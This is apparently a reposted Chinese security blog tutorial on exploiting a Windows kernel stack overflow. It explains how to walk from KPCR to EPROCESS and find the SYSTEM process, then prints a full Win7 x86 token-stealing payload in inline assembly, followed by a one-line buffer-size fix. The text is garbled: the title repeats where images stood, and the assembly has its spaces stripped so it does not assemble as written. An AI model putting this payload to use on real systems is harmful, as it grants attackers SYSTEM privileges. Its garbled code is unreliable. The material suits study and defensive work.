?[token]&0xFFFFFFF8

windows内核之栈溢出(一)
如图即可生成应用掩码后的Token
但是我们需要的不是应用掩码后的Token(8b0a2db0),而是需要应用掩码前的Token(8b0a2db3)

窃取凭证的载荷

一、关于调用到EPROCESS结构体的流程:

KPCRPrcbData->KPRCBCurrentThread->KTHREADApcState->KAPC_STATEProcess->KPROCESS

KPCR(Kernel Processor Control Region,内核处理器控制区域)在32位下有FS寄存器指向该结构,在64位下则使用GS寄存器指向,所以我们在32位下只需要FS:[0]就可以得到KPCR的地址。而KPROCESS是EPROCESS结构体的第一个成员,所以找到KPROCESS就是找到EPROCESS的起始位置

windows内核之栈溢出(一)

windows内核之栈溢出(一)
所以CurrentThread就等于0x120 + 0x004 = 0x124

windows内核之栈溢出(一)

windows内核之栈溢出(一)
所以EPROCESS就等于 0x040 + 0x010 = 0x50

二、关于从不同EPROCESS结构体之间穿梭的流程:

EPROCESS结构体偏移0x0b8表示进程的双向链表

双向链表LIST_ENTRY将所有正在运行的进程链接到一条关系线上
如下是LIST_ENTRY的结构体定义:
windows内核之栈溢出(一)
Flink指向下一个进程的链表,Blink指向上一个进程的链表

三、关于如何定位到SYSTEM进程的EPROCESS

而我们可以使用EPROCESS表上偏移0xb4成员UniqueProcessId来定位SYSTEM进程的EPROCESS
Win7下的SYSTEM的UniqueProcessId固定为4
windows内核之栈溢出(一)

所以,我们只需要得到SYSTEM进程的Token即可进行凭证窃取

四、载荷编写

VOIDTokenStealingPayloadWin7(){
// Importance of Kernel Recovery
__asm{
pushad;保存各寄存器数据
;startofTokenStealingStub

xoreax,eax;eax设置为0
moveax,fs:[eax+124h];获取nt!_KPCR.PcrbData.CurrentThread
moveax,[eax+050h];获取nt!_KTHREAD.ApcState.Process
movecx,eax;将本进程EPROCESS地址复制到ecx
movedx,4;WIN7SP1SYSTEMprocessPID=0x4

SearchSystemPID:
moveax,[eax+0b8h];获取nt!_EPROCESS.ActiveProcessLinks.Flink
subeax,0b8h
cmp[eax+0b4h],edx;获取nt!_EPROCESS.UniqueProcessId
jneSearchSystemPID;循环检测是否是SYSTEM进程PID

movedx,[eax+0f8h];获取System进程的Token
mov[ecx+0f8h],edx;将本进程Token替换为SYSTEM进程nt!_EPROCESS.Token
;EndofTokenStealingStub

popad;恢复各个寄存器数据

;KernelRecoveryStub
xoreax,eax;返回状态SUCCEESS
addesp,12;Fixthestack
popebp;RestoresavedEBP
ret8;Returncleanly
}
}

0x08 修复方案

size设置为sizeof(KernelBuffer)即可

RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));

参考链接:

FROM:tttang . com

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月25日13:04:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   windows内核之栈溢出(一)http://cn-sec.com/archives/848428.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息